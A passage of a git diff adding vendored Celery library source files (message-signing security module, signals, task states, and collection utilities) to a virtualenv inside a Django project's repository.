SecurityError(f'Duplicate certificate: {id!r}') + self._certs[cert_id] = cert + + +class FSCertStore(CertStore): + """File system certificate store.""" + + def __init__(self, path): + super().__init__() + if os.path.isdir(path): + path = os.path.join(path, '*') + for p in glob.glob(path): + with open(p) as f: + cert = Certificate(f.read()) + if cert.has_expired(): + raise SecurityError( + f'Expired certificate: {cert.get_id()!r}') + self.add_cert(cert) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/security/key.py b/django_lottopy/lib/python3.10/site-packages/celery/security/key.py new file mode 100644 index 00000000..939d501f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/security/key.py @@ -0,0 +1,32 @@ +"""Private keys for the security serializer.""" +from cryptography.hazmat.backends import default_backend +from cryptography.hazmat.primitives import serialization +from cryptography.hazmat.primitives.asymmetric import padding +from kombu.utils.encoding import ensure_bytes + +from .utils import reraise_errors + +__all__ = ('PrivateKey',) + + +class PrivateKey: + """Represents a private key.""" + + def __init__(self, key, password=None): + with reraise_errors( + 'Invalid private key: {0!r}', errors=(ValueError,) + ): + self._key = serialization.load_pem_private_key( + ensure_bytes(key), + password=password, + backend=default_backend()) + + def sign(self, data, digest): + """Sign string containing data.""" + with reraise_errors('Unable to sign data: {0!r}'): + + padd = padding.PSS( + mgf=padding.MGF1(digest), + salt_length=padding.PSS.MAX_LENGTH) + + return self._key.sign(ensure_bytes(data), padd, digest) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/security/serialization.py b/django_lottopy/lib/python3.10/site-packages/celery/security/serialization.py new file mode 100644 index 00000000..7284feb1 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/security/serialization.py @@ -0,0 +1,101 @@ +"""Secure serializer.""" +from kombu.serialization import dumps, loads, registry +from kombu.utils.encoding import bytes_to_str, ensure_bytes, str_to_bytes + +from celery.app.defaults import DEFAULT_SECURITY_DIGEST +from celery.utils.serialization import b64decode, b64encode + +from .certificate import Certificate, FSCertStore +from .key import PrivateKey +from .utils import get_digest_algorithm, reraise_errors + +__all__ = ('SecureSerializer', 'register_auth') + + +class SecureSerializer: + """Signed serializer.""" + + def __init__(self, key=None, cert=None, cert_store=None, + digest=DEFAULT_SECURITY_DIGEST, serializer='json'): + self._key = key + self._cert = cert + self._cert_store = cert_store + self._digest = get_digest_algorithm(digest) + self._serializer = serializer + + def serialize(self, data): + """Serialize data structure into string.""" + assert self._key is not None + assert self._cert is not None + with reraise_errors('Unable to serialize: {0!r}', (Exception,)): + content_type, content_encoding, body = dumps( + bytes_to_str(data), serializer=self._serializer) + # What we sign is the serialized body, not the body itself. + # this way the receiver doesn't have to decode the contents + # to verify the signature (and thus avoiding potential flaws + # in the decoding step). + body = ensure_bytes(body) + return self._pack(body, content_type, content_encoding, + signature=self._key.sign(body, self._digest), + signer=self._cert.get_id()) + + def deserialize(self, data): + """Deserialize data structure from string.""" + assert self._cert_store is not None + with reraise_errors('Unable to deserialize: {0!r}', (Exception,)): + payload = self._unpack(data) + signature, signer, body = (payload['signature'], + payload['signer'], + payload['body']) + self._cert_store[signer].verify(body, signature, self._digest) + return loads(bytes_to_str(body), payload['content_type'], + payload['content_encoding'], force=True) + + def _pack(self, body, content_type, content_encoding, signer, signature, + sep=str_to_bytes('\x00\x01')): + fields = sep.join( + ensure_bytes(s) for s in [signer, signature, content_type, + content_encoding, body] + ) + return b64encode(fields) + + def _unpack(self, payload, sep=str_to_bytes('\x00\x01')): + raw_payload = b64decode(ensure_bytes(payload)) + first_sep = raw_payload.find(sep) + + signer = raw_payload[:first_sep] + signer_cert = self._cert_store[signer] + + # shift 3 bits right to get signature length + # 2048bit rsa key has a signature length of 256 + # 4096bit rsa key has a signature length of 512 + sig_len = signer_cert.get_pubkey().key_size >> 3 + sep_len = len(sep) + signature_start_position = first_sep + sep_len + signature_end_position = signature_start_position + sig_len + signature = raw_payload[ + signature_start_position:signature_end_position + ] + + v = raw_payload[signature_end_position + sep_len:].split(sep) + + return { + 'signer': signer, + 'signature': signature, + 'content_type': bytes_to_str(v[0]), + 'content_encoding': bytes_to_str(v[1]), + 'body': bytes_to_str(v[2]), + } + + +def register_auth(key=None, cert=None, store=None, + digest=DEFAULT_SECURITY_DIGEST, + serializer='json'): + """Register security serializer.""" + s = SecureSerializer(key and PrivateKey(key), + cert and Certificate(cert), + store and FSCertStore(store), + digest, serializer=serializer) + registry.register('auth', s.serialize, s.deserialize, + content_type='application/data', + content_encoding='utf-8') diff --git a/django_lottopy/lib/python3.10/site-packages/celery/security/utils.py b/django_lottopy/lib/python3.10/site-packages/celery/security/utils.py new file mode 100644 index 00000000..4714a945 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/security/utils.py @@ -0,0 +1,28 @@ +"""Utilities used by the message signing serializer.""" +import sys +from contextlib import contextmanager + +import cryptography.exceptions +from cryptography.hazmat.primitives import hashes + +from celery.exceptions import SecurityError, reraise + +__all__ = ('get_digest_algorithm', 'reraise_errors',) + + +def get_digest_algorithm(digest='sha256'): + """Convert string to hash object of cryptography library.""" + assert digest is not None + return getattr(hashes, digest.upper())() + + +@contextmanager +def reraise_errors(msg='{0!r}', errors=None): + """Context reraising crypto errors as :exc:`SecurityError`.""" + errors = (cryptography.exceptions,) if errors is None else errors + try: + yield + except errors as exc: + reraise(SecurityError, + SecurityError(msg.format(exc)), + sys.exc_info()[2]) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/signals.py b/django_lottopy/lib/python3.10/site-packages/celery/signals.py new file mode 100644 index 00000000..9be4f55a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/signals.py @@ -0,0 +1,152 @@ +"""Celery Signals. + +This module defines the signals (Observer pattern) sent by +both workers and clients. + +Functions can be connected to these signals, and connected +functions are called whenever a signal is called. + +.. seealso:: + + :ref:`signals` for more information. +""" + +from .utils.dispatch import Signal + +__all__ = ( + 'before_task_publish', 'after_task_publish', 'task_internal_error', + 'task_prerun', 'task_postrun', 'task_success', + 'task_received', 'task_rejected', 'task_unknown', + 'task_retry', 'task_failure', 'task_revoked', 'celeryd_init', + 'celeryd_after_setup', 'worker_init', 'worker_process_init', + 'worker_process_shutdown', 'worker_ready', 'worker_shutdown', + 'worker_shutting_down', 'setup_logging', 'after_setup_logger', + 'after_setup_task_logger', 'beat_init', 'beat_embedded_init', + 'heartbeat_sent', 'eventlet_pool_started', 'eventlet_pool_preshutdown', + 'eventlet_pool_postshutdown', 'eventlet_pool_apply', +) + +# - Task +before_task_publish = Signal( + name='before_task_publish', + providing_args={ + 'body', 'exchange', 'routing_key', 'headers', + 'properties', 'declare', 'retry_policy', + }, +) +after_task_publish = Signal( + name='after_task_publish', + providing_args={'body', 'exchange', 'routing_key'}, +) +task_received = Signal( + name='task_received', + providing_args={'request'} +) +task_prerun = Signal( + name='task_prerun', + providing_args={'task_id', 'task', 'args', 'kwargs'}, +) +task_postrun = Signal( + name='task_postrun', + providing_args={'task_id', 'task', 'args', 'kwargs', 'retval'}, +) +task_success = Signal( + name='task_success', + providing_args={'result'}, +) +task_retry = Signal( + name='task_retry', + providing_args={'request', 'reason', 'einfo'}, +) +task_failure = Signal( + name='task_failure', + providing_args={ + 'task_id', 'exception', 'args', 'kwargs', 'traceback', 'einfo', + }, +) +task_internal_error = Signal( + name='task_internal_error', + providing_args={ + 'task_id', 'args', 'kwargs', 'request', 'exception', 'traceback', 'einfo' + } +) +task_revoked = Signal( + name='task_revoked', + providing_args={ + 'request', 'terminated', 'signum', 'expired', + }, +) +task_rejected = Signal( + name='task_rejected', + providing_args={'message', 'exc'}, +) +task_unknown = Signal( + name='task_unknown', + providing_args={'message', 'exc', 'name', 'id'}, +) +#: Deprecated, use after_task_publish instead. +task_sent = Signal( + name='task_sent', + providing_args={ + 'task_id', 'task', 'args', 'kwargs', 'eta', 'taskset', + }, +) + +# - Program: `celery worker` +celeryd_init = Signal( + name='celeryd_init', + providing_args={'instance', 'conf', 'options'}, +) +celeryd_after_setup = Signal( + name='celeryd_after_setup', + providing_args={'instance', 'conf'}, +) + +# - Worker +import_modules = Signal(name='import_modules') +worker_init = Signal(name='worker_init') +worker_process_init = Signal(name='worker_process_init') +worker_process_shutdown = Signal(name='worker_process_shutdown') +worker_ready = Signal(name='worker_ready') +worker_shutdown = Signal(name='worker_shutdown') +worker_shutting_down = Signal(name='worker_shutting_down') +heartbeat_sent = Signal(name='heartbeat_sent') + +# - Logging +setup_logging = Signal( + name='setup_logging', + providing_args={ + 'loglevel', 'logfile', 'format', 'colorize', + }, +) +after_setup_logger = Signal( + name='after_setup_logger', + providing_args={ + 'logger', 'loglevel', 'logfile', 'format', 'colorize', + }, +) +after_setup_task_logger = Signal( + name='after_setup_task_logger', + providing_args={ + 'logger', 'loglevel', 'logfile', 'format', 'colorize', + }, +) + +# - Beat +beat_init = Signal(name='beat_init') +beat_embedded_init = Signal(name='beat_embedded_init') + +# - Eventlet +eventlet_pool_started = Signal(name='eventlet_pool_started') +eventlet_pool_preshutdown = Signal(name='eventlet_pool_preshutdown') +eventlet_pool_postshutdown = Signal(name='eventlet_pool_postshutdown') +eventlet_pool_apply = Signal( + name='eventlet_pool_apply', + providing_args={'target', 'args', 'kwargs'}, +) + +# - Programs +user_preload_options = Signal( + name='user_preload_options', + providing_args={'app', 'options'}, +) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/states.py b/django_lottopy/lib/python3.10/site-packages/celery/states.py new file mode 100644 index 00000000..e807ed48 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/states.py @@ -0,0 +1,151 @@ +"""Built-in task states. + +.. _states: + +States +------ + +See :ref:`task-states`. + +.. _statesets: + +Sets +---- + +.. state:: READY_STATES + +READY_STATES +~~~~~~~~~~~~ + +Set of states meaning the task result is ready (has been executed). + +.. state:: UNREADY_STATES + +UNREADY_STATES +~~~~~~~~~~~~~~ + +Set of states meaning the task result is not ready (hasn't been executed). + +.. state:: EXCEPTION_STATES + +EXCEPTION_STATES +~~~~~~~~~~~~~~~~ + +Set of states meaning the task returned an exception. + +.. state:: PROPAGATE_STATES + +PROPAGATE_STATES +~~~~~~~~~~~~~~~~ + +Set of exception states that should propagate exceptions to the user. + +.. state:: ALL_STATES + +ALL_STATES +~~~~~~~~~~ + +Set of all possible states. + +Misc +---- + +""" + +__all__ = ( + 'PENDING', 'RECEIVED', 'STARTED', 'SUCCESS', 'FAILURE', + 'REVOKED', 'RETRY', 'IGNORED', 'READY_STATES', 'UNREADY_STATES', + 'EXCEPTION_STATES', 'PROPAGATE_STATES', 'precedence', 'state', +) + +#: State precedence. +#: None represents the precedence of an unknown state. +#: Lower index means higher precedence. +PRECEDENCE = [ + 'SUCCESS', + 'FAILURE', + None, + 'REVOKED', + 'STARTED', + 'RECEIVED', + 'REJECTED', + 'RETRY', + 'PENDING', +] + +#: Hash lookup of PRECEDENCE to index +PRECEDENCE_LOOKUP = dict(zip(PRECEDENCE, range(0, len(PRECEDENCE)))) +NONE_PRECEDENCE = PRECEDENCE_LOOKUP[None] + + +def precedence(state): + """Get the precedence index for state. + + Lower index means higher precedence. + """ + try: + return PRECEDENCE_LOOKUP[state] + except KeyError: + return NONE_PRECEDENCE + + +class state(str): + """Task state. + + State is a subclass of :class:`str`, implementing comparison + methods adhering to state precedence rules:: + + >>> from celery.states import state, PENDING, SUCCESS + + >>> state(PENDING) < state(SUCCESS) + True + + Any custom state is considered to be lower than :state:`FAILURE` and + :state:`SUCCESS`, but higher than any of the other built-in states:: + + >>> state('PROGRESS') > state(STARTED) + True + + >>> state('PROGRESS') > state('SUCCESS') + False + """ + + def __gt__(self, other): + return precedence(self) < precedence(other) + + def __ge__(self, other): + return precedence(self) <= precedence(other) + + def __lt__(self, other): + return precedence(self) > precedence(other) + + def __le__(self, other): + return precedence(self) >= precedence(other) + + +#: Task state is unknown (assumed pending since you know the id). +PENDING = 'PENDING' +#: Task was received by a worker (only used in events). +RECEIVED = 'RECEIVED' +#: Task was started by a worker (:setting:`task_track_started`). +STARTED = 'STARTED' +#: Task succeeded +SUCCESS = 'SUCCESS' +#: Task failed +FAILURE = 'FAILURE' +#: Task was revoked. +REVOKED = 'REVOKED' +#: Task was rejected (only used in events). +REJECTED = 'REJECTED' +#: Task is waiting for retry. +RETRY = 'RETRY' +IGNORED = 'IGNORED' + +READY_STATES = frozenset({SUCCESS, FAILURE, REVOKED}) +UNREADY_STATES = frozenset({PENDING, RECEIVED, STARTED, REJECTED, RETRY}) +EXCEPTION_STATES = frozenset({RETRY, FAILURE, REVOKED}) +PROPAGATE_STATES = frozenset({FAILURE, REVOKED}) + +ALL_STATES = frozenset({ + PENDING, RECEIVED, STARTED, SUCCESS, FAILURE, RETRY, REVOKED, +}) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/__init__.py new file mode 100644 index 00000000..e905c247 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/__init__.py @@ -0,0 +1,37 @@ +"""Utility functions. + +Don't import from here directly anymore, as these are only +here for backwards compatibility. +""" +from kombu.utils.objects import cached_property +from kombu.utils.uuid import uuid + +from .functional import chunks, memoize, noop +from .imports import gen_task_name, import_from_cwd, instantiate +from .imports import qualname as get_full_cls_name +from .imports import symbol_by_name as get_cls_by_name +# ------------------------------------------------------------------------ # +# > XXX Compat +from .log import LOG_LEVELS +from .nodenames import nodename, nodesplit, worker_direct + +gen_unique_id = uuid + +__all__ = ( + 'LOG_LEVELS', + 'cached_property', + 'chunks', + 'gen_task_name', + 'gen_task_name', + 'gen_unique_id', + 'get_cls_by_name', + 'get_full_cls_name', + 'import_from_cwd', + 'instantiate', + 'memoize', + 'nodename', + 'nodesplit', + 'noop', + 'uuid', + 'worker_direct' +) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/abstract.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/abstract.py new file mode 100644 index 00000000..81a04082 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/abstract.py @@ -0,0 +1,146 @@ +"""Abstract classes.""" +from abc import ABCMeta, abstractmethod +from collections.abc import Callable + +__all__ = ('CallableTask', 'CallableSignature') + + +def _hasattr(C, attr): + return any(attr in B.__dict__ for B in C.__mro__) + + +class _AbstractClass(metaclass=ABCMeta): + __required_attributes__ = frozenset() + + @classmethod + def _subclasshook_using(cls, parent, C): + return ( + cls is parent and + all(_hasattr(C, attr) for attr in cls.__required_attributes__) + ) or NotImplemented + + @classmethod + def register(cls, other): + # we override `register` to return other for use as a decorator. + type(cls).register(cls, other) + return other + + +class CallableTask(_AbstractClass, Callable): # pragma: no cover + """Task interface.""" + + __required_attributes__ = frozenset({ + 'delay', 'apply_async', 'apply', + }) + + @abstractmethod + def delay(self, *args, **kwargs): + pass + + @abstractmethod + def apply_async(self, *args, **kwargs): + pass + + @abstractmethod + def apply(self, *args, **kwargs): + pass + + @classmethod + def __subclasshook__(cls, C): + return cls._subclasshook_using(CallableTask, C) + + +class CallableSignature(CallableTask): # pragma: no cover + """Celery Signature interface.""" + + __required_attributes__ = frozenset({ + 'clone', 'freeze', 'set', 'link', 'link_error', '__or__', + }) + + @property + @abstractmethod + def name(self): + pass + + @property + @abstractmethod + def type(self): + pass + + @property + @abstractmethod + def app(self): + pass + + @property + @abstractmethod + def id(self): + pass + + @property + @abstractmethod + def task(self): + pass + + @property + @abstractmethod + def args(self): + pass + + @property + @abstractmethod + def kwargs(self): + pass + + @property + @abstractmethod + def options(self): + pass + + @property + @abstractmethod + def subtask_type(self): + pass + + @property + @abstractmethod + def chord_size(self): + pass + + @property + @abstractmethod + def immutable(self): + pass + + @abstractmethod + def clone(self, args=None, kwargs=None): + pass + + @abstractmethod + def freeze(self, id=None, group_id=None, chord=None, root_id=None, + group_index=None): + pass + + @abstractmethod + def set(self, immutable=None, **options): + pass + + @abstractmethod + def link(self, callback): + pass + + @abstractmethod + def link_error(self, errback): + pass + + @abstractmethod + def __or__(self, other): + pass + + @abstractmethod + def __invert__(self): + pass + + @classmethod + def __subclasshook__(cls, C): + return cls._subclasshook_using(CallableSignature, C) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/collections.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/collections.py new file mode 100644 index 00000000..df37d12c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/collections.py @@ -0,0 +1,873 @@ +"""Custom maps, sets, sequences, and other data structures.""" +import time +from collections import OrderedDict as _OrderedDict +from collections import deque +from collections.abc import (Callable, Mapping, MutableMapping, MutableSet, + Sequence) +from heapq import heapify, heappop, heappush +from itertools import chain, count +from queue import Empty +from typing import Any, Dict, Iterable, List + +from .functional import first, uniq +from .text import match_case + +try: + # pypy: dicts are ordered in recent versions + from __pypy__ import reversed_dict as _dict_is_ordered +except ImportError: + _dict_is_ordered = None + +try: + from django.utils.functional import LazyObject, LazySettings +except ImportError: + class LazyObject: + pass + LazySettings = LazyObject + +__all__ = ( + 'AttributeDictMixin', 'AttributeDict', 'BufferMap', 'ChainMap', + 'ConfigurationView', 'DictAttribute', 'Evictable', + 'LimitedSet', 'Messagebuffer', 'OrderedDict', + 'force_mapping', 'lpmerge', +) + +REPR_LIMITED_SET = """\ +<{name}({size}): maxlen={0.maxlen}, expires={0.expires}, minlen={0.minlen}>\ +""" + + +def force_mapping(m): + # type: (Any) -> Mapping + """Wrap object into supporting the mapping interface if necessary.""" + if isinstance(m, (LazyObject, LazySettings)): + m = m._wrapped + return DictAttribute(m) if not isinstance(m, Mapping) else m + + +def lpmerge(L, R): + # type: (Mapping, Mapping) -> Mapping + """In place left precedent dictionary merge. + + Keeps values from `L`, if the value in `R` is :const:`None`. + """ + setitem = L.__setitem__ + [setitem(k, v) for k, v in R.items() if v is not None] + return L + + +class OrderedDict(_OrderedDict): + """Dict where insertion order matters.""" + + def _LRUkey(self): + # type: () -> Any + # return value of od.keys does not support __next__, + # but this version will also not create a copy of the list. + return next(iter(self.keys())) + + if not hasattr(_OrderedDict, 'move_to_end'): + if _dict_is_ordered: # pragma: no cover + + def move_to_end(self, key, last=True): + # type: (Any, bool) -> None + if not last: + # we don't use this argument, and the only way to + # implement this on PyPy seems to be O(n): creating a + # copy with the order changed, so we just raise. + raise NotImplementedError('no last=True on PyPy') + self[key] = self.pop(key) + + else: + + def move_to_end(self, key, last=True): + # type: (Any, bool) -> None + link = self._OrderedDict__map[key] + link_prev = link[0] + link_next = link[1] + link_prev[1] = link_next + link_next[0] = link_prev + root = self._OrderedDict__root + if last: + last = root[0] + link[0] = last + link[1] = root + last[1] = root[0] = link + else: + first_node = root[1] + link[0] = root + link[1] = first_node + root[1] = first_node[0] = link + + +class AttributeDictMixin: + """Mixin for Mapping interface that adds attribute access. + + I.e., `d.key -> d[key]`). + """ + + def __getattr__(self, k): + # type: (str) -> Any + """`d.key -> d[key]`.""" + try: + return self[k] + except KeyError: + raise AttributeError( + f'{type(self).__name__!r} object has no attribute {k!r}') + + def __setattr__(self, key, value): + # type: (str, Any) -> None + """`d[key] = value -> d.key = value`.""" + self[key] = value + + +class AttributeDict(dict, AttributeDictMixin): + """Dict subclass with attribute access.""" + + +class DictAttribute: + """Dict interface to attributes. + + `obj[k] -> obj.k` + `obj[k] = val -> obj.k = val` + """ + + obj = None + + def __init__(self, obj): + # type: (Any) -> None + object.__setattr__(self, 'obj', obj) + + def __getattr__(self, key): + # type: (Any) -> Any + return getattr(self.obj, key) + + def __setattr__(self, key, value): + # type: (Any, Any) -> None + return setattr(self.obj, key, value) + + def get(self, key, default=None): + # type: (Any, Any) -> Any + try: + return self[key] + except KeyError: + return default + + def setdefault(self, key, default=None): + # type: (Any, Any) -> None + if key not in self: + self[key] = default + + def __getitem__(self, key): + # type: (Any) -> Any + try: + return getattr(self.obj, key) + except AttributeError: + raise KeyError(key) + + def __setitem__(self, key, value): + # type: (Any, Any) -> Any + setattr(self.obj, key, value) + + def __contains__(self, key): + # type: (Any) -> bool + return hasattr(self.obj, key) + + def _iterate_keys(self): + # type: () -> Iterable + return iter(dir(self.obj)) + iterkeys = _iterate_keys + + def __iter__(self): + # type: () -> Iterable + return self._iterate_keys() + + def _iterate_items(self): + # type: () -> Iterable + for key in self._iterate_keys(): + yield key, getattr(self.obj, key) + iteritems = _iterate_items + + def _iterate_values(self): + # type: () -> Iterable + for key in self._iterate_keys(): + yield getattr(self.obj, key) + itervalues = _iterate_values + + items = _iterate_items + keys = _iterate_keys + values = _iterate_values + + +MutableMapping.register(DictAttribute) + + +class ChainMap(MutableMapping): + """Key lookup on a sequence of maps.""" + + key_t = None + changes = None + defaults = None + maps = None + _observers = [] + + def __init__(self, *maps, **kwargs): + # type: (*Mapping, **Any) -> None + maps = list(maps or [{}]) + self.__dict__.update( + key_t=kwargs.get('key_t'), + maps=maps, + changes=maps[0], + defaults=maps[1:], + ) + + def add_defaults(self, d): + # type: (Mapping) -> None + d = force_mapping(d) + self.defaults.insert(0, d) + self.maps.insert(1, d) + + def pop(self, key, *default): + # type: (Any, *Any) -> Any + try: + return self.maps[0].pop(key, *default) + except KeyError: + raise KeyError( + f'Key not found in the first mapping: {key!r}') + + def __missing__(self, key): + # type: (Any) -> Any + raise KeyError(key) + + def _key(self, key): + # type: (Any) -> Any + return self.key_t(key) if self.key_t is not None else key + + def __getitem__(self, key): + # type: (Any) -> Any + _key = self._key(key) + for mapping in self.maps: + try: + return mapping[_key] + except KeyError: + pass + return self.__missing__(key) + + def __setitem__(self, key, value): + # type: (Any, Any) -> None + self.changes[self._key(key)] = value + + def __delitem__(self, key): + # type: (Any) -> None + try: + del self.changes[self._key(key)] + except KeyError: + raise KeyError(f'Key not found in first mapping: {key!r}') + + def clear(self): + # type: () -> None + self.changes.clear() + + def get(self, key, default=None): + # type: (Any, Any) -> Any + try: + return self[self._key(key)] + except KeyError: + return default + + def __len__(self): + # type: () -> int + return len(set().union(*self.maps)) + + def __iter__(self): + return self._iterate_keys() + + def __contains__(self, key): + # type: (Any) -> bool + key = self._key(key) + return any(key in m for m in self.maps) + + def __bool__(self): + # type: () -> bool + return any(self.maps) + __nonzero__ = __bool__ # Py2 + + def setdefault(self, key, default=None): + # type: (Any, Any) -> None + key = self._key(key) + if key not in self: + self[key] = default + + def update(self, *args, **kwargs): + # type: (*Any, **Any) -> Any + result = self.changes.update(*args, **kwargs) + for callback in self._observers: + callback(*args, **kwargs) + return result + + def __repr__(self): + # type: () -> str + return '{0.__class__.__name__}({1})'.format( + self, ', '.join(map(repr, self.maps))) + + @classmethod + def fromkeys(cls, iterable, *args): + # type: (type, Iterable, *Any) -> 'ChainMap' + """Create a ChainMap with a single dict created from the iterable.""" + return cls(dict.fromkeys(iterable, *args)) + + def copy(self): + # type: () -> 'ChainMap' + return self.__class__(self.maps[0].copy(), *self.maps[1:]) + __copy__ = copy # Py2 + + def _iter(self, op): + # type: (Callable) -> Iterable + # defaults must be first in the stream, so values in + # changes take precedence. + # pylint: disable=bad-reversed-sequence + # Someone should teach pylint about properties. + return chain(*(op(d) for d in reversed(self.maps))) + + def _iterate_keys(self): + # type: () -> Iterable + return uniq(self._iter(lambda d: d.keys())) + iterkeys = _iterate_keys + + def _iterate_items(self): + # type: () -> Iterable + return ((key, self[key]) for key in self) + iteritems = _iterate_items + + def _iterate_values(self): + # type: () -> Iterable + return (self[key] for key in self) + itervalues = _iterate_values + + def bind_to(self, callback): + self._observers.append(callback) + + keys = _iterate_keys + items = _iterate_items + values = _iterate_values + + +class ConfigurationView(ChainMap, AttributeDictMixin): + """A view over an applications configuration dictionaries. + + Custom (but older) version of :class:`collections.ChainMap`. + + If the key does not exist in ``changes``, the ``defaults`` + dictionaries are consulted. + + Arguments: + changes (Mapping): Map of configuration changes. + defaults (List[Mapping]): List of dictionaries containing + the default configuration. + """ + + def __init__(self, changes, defaults=None, keys=None, prefix=None): + # type: (Mapping, Mapping, List[str], str) -> None + defaults = [] if defaults is None else defaults + super().__init__(changes, *defaults) + self.__dict__.update( + prefix=prefix.rstrip('_') + '_' if prefix else prefix, + _keys=keys, + ) + + def _to_keys(self, key): + # type: (str) -> Sequence[str] + prefix = self.prefix + if prefix: + pkey = prefix + key if not key.startswith(prefix) else key + return match_case(pkey, prefix), key + return key, + + def __getitem__(self, key): + # type: (str) -> Any + keys = self._to_keys(key) + getitem = super().__getitem__ + for k in keys + ( + tuple(f(key) for f in self._keys) if self._keys else ()): + try: + return getitem(k) + except KeyError: + pass + try: + # support subclasses implementing __missing__ + return self.__missing__(key) + except KeyError: + if len(keys) > 1: + raise KeyError( + 'Key not found: {0!r} (with prefix: {0!r})'.format(*keys)) + raise + + def __setitem__(self, key, value): + # type: (str, Any) -> Any + self.changes[self._key(key)] = value + + def first(self, *keys): + # type: (*str) -> Any + return first(None, (self.get(key) for key in keys)) + + def get(self, key, default=None): + # type: (str, Any) -> Any + try: + return self[key] + except KeyError: + return default + + def clear(self): + # type: () -> None + """Remove all changes, but keep defaults.""" + self.changes.clear() + + def __contains__(self, key): + # type: (str) -> bool + keys = self._to_keys(key) + return any(any(k in m for k in keys) for m in self.maps) + + def swap_with(self, other): + # type: (ConfigurationView) -> None + changes = other.__dict__['changes'] + defaults = other.__dict__['defaults'] + self.__dict__.update( + changes=changes, + defaults=defaults, + key_t=other.__dict__['key_t'], + prefix=other.__dict__['prefix'], + maps=[changes] + defaults + ) + + +class LimitedSet: + """Kind-of Set (or priority queue) with limitations. + + Good for when you need to test for membership (`a in set`), + but the set should not grow unbounded. + + ``maxlen`` is enforced at all times, so if the limit is reached + we'll also remove non-expired items. + + You can also configure ``minlen``: this is the minimal residual size + of the set. + + All arguments are optional, and no limits are enabled by default. + + Arguments: + maxlen (int): Optional max number of items. + Adding more items than ``maxlen`` will result in immediate + removal of items sorted by oldest insertion time. + + expires (float): TTL for all items. + Expired items are purged as keys are inserted. + + minlen (int): Minimal residual size of this set. + .. versionadded:: 4.0 + + Value must be less than ``maxlen`` if both are configured. + + Older expired items will be deleted, only after the set + exceeds ``minlen`` number of items. + + data (Sequence): Initial data to initialize set with. + Can be an iterable of ``(key, value)`` pairs, + a dict (``{key: insertion_time}``), or another instance + of :class:`LimitedSet`. + + Example: + >>> s = LimitedSet(maxlen=50000, expires=3600, minlen=4000) + >>> for i in range(60000): + ... s.add(i) + ... s.add(str(i)) + ... + >>> 57000 in s # last 50k inserted values are kept + True + >>> '10' in s # '10' did expire and was purged from set. + False + >>> len(s) # maxlen is reached + 50000 + >>> s.purge(now=time.monotonic() + 7200) # clock + 2 hours + >>> len(s) # now only minlen items are cached + 4000 + >>>> 57000 in s # even this item is gone now + False + """ + + max_heap_percent_overload = 15 + + def __init__(self, maxlen=0, expires=0, data=None, minlen=0): + # type: (int, float, Mapping, int) -> None + self.maxlen = 0 if maxlen is None else maxlen + self.minlen = 0 if minlen is None else minlen + self.expires = 0 if expires is None else expires + self._data = {} + self._heap = [] + + if data: + # import items from data + self.update(data) + + if not self.maxlen >= self.minlen >= 0: + raise ValueError( + 'minlen must be a positive number, less or equal to maxlen.') + if self.expires < 0: + raise ValueError('expires cannot be negative!') + + def _refresh_heap(self): + # type: () -> None + """Time consuming recreating of heap. Don't run this too often.""" + self._heap[:] = [entry for entry in self._data.values()] + heapify(self._heap) + + def _maybe_refresh_heap(self): + # type: () -> None + if self._heap_overload >= self.max_heap_percent_overload: + self._refresh_heap() + + def clear(self): + # type: () -> None + """Clear all data, start from scratch again.""" + self._data.clear() + self._heap[:] = [] + + def add(self, item, now=None): + # type: (Any, float) -> None + """Add a new item, or reset the expiry time of an existing item.""" + now = now or time.monotonic() + if item in self._data: + self.discard(item) + entry = (now, item) + self._data[item] = entry + heappush(self._heap, entry) + if self.maxlen and len(self._data) >= self.maxlen: + self.purge() + + def update(self, other): + # type: (Iterable) -> None + """Update this set from other LimitedSet, dict or iterable.""" + if not other: + return + if isinstance(other, LimitedSet): + self._data.update(other._data) + self._refresh_heap() + self.purge() + elif isinstance(other, dict): + # revokes are sent as a dict + for key, inserted in other.items(): + if isinstance(inserted, (tuple, list)): + # in case someone uses ._data directly for sending update + inserted = inserted[0] + if not isinstance(inserted, float): + raise ValueError( + 'Expecting float timestamp, got type ' + f'{type(inserted)!r} with value: {inserted}') + self.add(key, inserted) + else: + # XXX AVOID THIS, it could keep old data if more parties + # exchange them all over and over again + for obj in other: + self.add(obj) + + def discard(self, item): + # type: (Any) -> None + # mark an existing item as removed. If KeyError is not found, pass. + self._data.pop(item, None) + self._maybe_refresh_heap() + pop_value = discard + + def purge(self, now=None): + # type: (float) -> None + """Check oldest items and remove them if needed. + + Arguments: + now (float): Time of purging -- by default right now. + This can be useful for unit testing. + """ + now = now or time.monotonic() + now = now() if isinstance(now, Callable) else now + if self.maxlen: + while len(self._data) > self.maxlen: + self.pop() + # time based expiring: + if self.expires: + while len(self._data) > self.minlen >= 0: + inserted_time, _ = self._heap[0] + if inserted_time + self.expires > now: + break # oldest item hasn't expired yet + self.pop() + + def pop(self, default=None): + # type: (Any) -> Any + """Remove and return the oldest item, or :const:`None` when empty.""" + while self._heap: + _, item = heappop(self._heap) + try: + self._data.pop(item) + except KeyError: + pass + else: + return item + return default + + def as_dict(self): + # type: () -> Dict + """Whole set as serializable dictionary. + + Example: + >>> s = LimitedSet(maxlen=200) + >>> r = LimitedSet(maxlen=200) + >>> for i in range(500): + ... s.add(i) + ... + >>> r.update(s.as_dict()) + >>> r == s + True + """ + return {key: inserted for inserted, key in self._data.values()} + + def __eq__(self, other): + # type: (Any) -> bool + return self._data == other._data + + def __ne__(self, other): + # type: (Any) -> bool + return not self.__eq__(other) + + def __repr__(self): + # type: () -> str + return REPR_LIMITED_SET.format( + self, name=type(self).__name__, 